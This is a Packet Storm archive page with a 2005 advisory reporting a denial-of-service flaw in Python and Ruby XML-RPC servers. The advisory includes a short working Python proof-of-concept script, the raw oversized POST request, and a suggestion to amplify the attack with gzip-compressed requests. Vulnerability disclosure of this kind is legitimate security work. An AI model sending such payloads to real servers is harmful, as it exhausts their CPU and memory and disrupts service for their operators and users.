exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

python_xmlrpc_dos.txt

python_xmlrpc_dos.txt
Posted Apr 24, 2005

Many XML/RPC servers based on Python / Ruby seem to be vulnerable to a simple Denial of Service where transmitting a large amount of data (circa 4 MB) results in them utilizing 100% of the CPU and apparently never recovering.

tags | advisory, denial of service, python, ruby
SHA-256 | 01fddb7df596dbb647f71a14bc8ddf89eda494b127062d87e148e1adfd6216ba

python_xmlrpc_dos.txt

Change Mirror Download
This simple Python code seems to be successful at DoSing any Python or
Ruby XMLRPC server:

import xmlrpclib
s = xmlrpclib.server("http://127.0.0.1:8001/RPC2")
s.cancel("<" * 1000000)

This sends about four megabytes of data, the server however takes very
long to handle it. The Ruby server I tried this on is still running at
full CPU load; it first grew to 120MB in size, but still consumes CPU
load without end. Probably it will be done in a day or two.

A comparable Python SimpleXMLRPCServer eats 500MB of RAM and gets
killed by the ulimits I set up here. On university who don't have such
limits but 512MB of RAM and 1024MB of swap, it starts swapping and
swapping and eventually gets killed by the kernel.

The request, to be downloaded from
http://t.div0.ccc-offenbach.org/xmlrpc.http.bz2 (below one kilobyte),
does nothing more than

POST /RPC2 HTTP/1.0
Host: localhost
Connection: close
Content-Type: text/xml
Content-Length: 4000150

<?xml version='1.0'?>
<methodCall>
<methodName>cancel</methodName>
<params>
<param>
<value><string><<<.......................<</string></value>
</param>
</params>
</methodcall>

As you see, the problem seems to be the handling of the entities.

Now this is bad when using a standalone XMLRPC server, but requests
have to be quite large to exploit it (4MB this time). However, imagine
an XMLRPC server supporting Content-Transfer-Encoding: gzip. For
example one running as a CGI in Apache. Now that you are imagining
that, it shouldn't be hard any more to imagine hundreds, thousands of
such CGIs running (that's easy to do since the gzipped request is
about four kilobytes). What do we have now?

Right, the equivalent of the malloc-fork-and-touch bomb.

Is there ANY XMLRPC implementation NOT vulnerable to this rather
simple DoS attack (and be it an ugly workaround, like a memory limit
for the parser and returning "HTTP/1.0 500 Internal Server Error" if
exceeded)?
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close